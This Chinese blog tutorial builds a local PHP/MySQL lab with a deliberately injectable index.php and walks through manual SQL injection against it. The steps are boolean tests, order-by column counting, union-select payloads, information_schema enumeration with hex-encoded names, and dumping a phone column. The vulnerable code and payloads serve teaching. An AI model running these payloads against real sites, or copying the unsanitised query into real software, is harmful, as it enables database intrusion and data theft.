[经验技巧] “php+mysql+apache”环境搭建及"手动SQL注入"，20180527-0

Posted 2020-11-08 ownhp

[经验技巧] “php+mysql+apache”环境搭建及"手动SQL注入"

 

1.“php+mysql+apache”环境搭建

• 环境载体：虚拟机Window7 Service Pack 1 旗舰版

• 

• 下载“phpStudy (php5.2) ”

• 链接：http://www.phpstudy.net/phpstudy/phpStudy(PHP5.2).zip

                     文件见附件1。

安装“phpStudy (php5.2) ”

• 将压缩包解压后，双击“phpStudy(PHP5.2).exe”进行安装

• 

• 安装结束后，弹出“使用手册”及phpStudy窗体，点击“应用”：

• 

• 观察到两个指示灯由红色变为绿色，说明“Apache”和“MySQL”已成功启动：

• 

在mysql中新建数据库及表

• 打开“MySQL管理器”

• 

                    注：mysql的登录名及密码都是“root”。

• 新建数据库、表，并添加记录

• 点击“SQL编辑器”选项卡，在编辑区域添加如下代码然后选中并执行：

create database student;#创建一个新的数据库，名为 student

use student;

create table class1(id int(20) not null AUTO_INCREMENT primary key,name varchar(20) not null,gender varchar(20),phone varchar(20));#在student数据库中创建新表，名为class1，有4个字段 id、name、gender、phone

#插入3条记录

insert into class1(name,phone,gender) values (‘own‘,‘13977888888‘,‘male‘);

insert into class1(name,phone,gender) values (‘hdh‘,‘13667777777‘,‘male‘);

insert into class1(name,phone,gender) values (‘ckm‘,‘15666666666‘,‘female‘);

#注意：每条语句后都用分号“；”作为结尾

执行SQL语句后，左侧导航栏中出现了新创建的数据库“student”。双击“student”后，点击“数据浏览器”选项卡，看到了在表“class1”中添加的3条记录：

也可导入sql脚本“class1.sql”来创建数据库、表并添加记录，见附件2。使用时如图导入即可：

• 若导入sql脚本后未看到应该被创建的数据库“student”，点击“视图”选项卡中的“全部刷新”即可：

• 

2.配置含有sql注入点的网页

• 在phpStudy安装目录下的文件夹“WWW”中新建php网页

                网页文件命名为“index.php”,在文件内添加如下代码：

<?php

$con = mysql_connect("localhost","root","root") or die();#连接数据库

mysql_select_db("student");#选择student数据库

$ID = $_GET[‘id‘];#获取URL中的参数“id”

$sql = "select * from class1 where id=$ID";#构建sql查询语句

/*若为字符型参数，则用 $sql = "select * from class1 where name=‘$name’";

$name左右加上单引号 */

echo "sql语句： ".$sql."<br >";

$res = mysql_query($sql);#执行查询语句

while($rows = mysql_fetch_array($res)){

    echo "姓名： ".$rows[‘name‘]."<br >";

     echo "性别： ".$rows[‘gender‘]."<br >";

      echo "电话： ".$rows[‘phone‘]."<br >";

}

mysql_close($con);

?>

        文件“index.php”见附件3。该php代码意为通过URL所传入的参数“id”的值，构建sql查询语句“select * from class1 where id”，最后输出所返回的记录中的三个字段“name”、“gender”、“phone”。

3.SQL注入

• 判断是否为sql注入点

  • 整形参数判断

1、URL最后加上 and 1=1

2、URL最后加上 and 1=2

                            如果2异常，1正常就存在注入

                   本文使用的是整形参数，结果如下：     

      and 1=1

     and 1=2

• 猜字段数

http://127.0.0.1/?id=1 order by <n>  #注：n是任意数字。若返回页面正常，则该数字为字段数

• 获取数据库名、用户名、数据库版本

http://127.0.0.1/?id=1 union select 1,database(),user(),version()

• 猜解表名

  • 1.mysql版本在5.1后

    • mysql5.1后，设有一个表保存所有数据库下的表名，据此查询获得指定数据库下的表名

使用小葵工具转化数据库名“student”，得到hex值：

    “小葵多功能转换工具”见附件4。

将Hex值填到“where table_schema=”后。如是获取了数据库“student”下的表“class1”的表名：

http://127.0.0.1/?id=1 union select 1,table_name,2,3 from information_schema.tables where table_schema=0x73747564656E74

2.mysql版本在5.1前时，如何猜解表名

在URL后加入sql语句，返回正常表示存在该表名

<URL> and exists(select * from <所猜解的表名>)

• 获取指定表的列信息

  • 使用小葵工具转化表名“class1”，得到hex值：

   

• 

• 将Hex值填到”where table_name=”后。如是获取了表“class1”的列信息。

http://127.0.0.1/?id=1 union select 1,column_name,2,3 from information_schema.columns where table_name=0x636C61737331

• 猜解列名（字段名）

  • 在URL后加入sql语句，返回正常表示存在所猜解的列名

<URL> and exists(select <所猜解的列名> from <表名>)

• 获取指定列的数据

                例如，获取表“class1”中，列“phone”的数据：

http://127.0.0.1/?id=1 union select 1,phone,2,3 from class1

注： 若浏览器访问页面时出现乱码，将浏览器编码设置为“UTF-8”即可解决：

============================================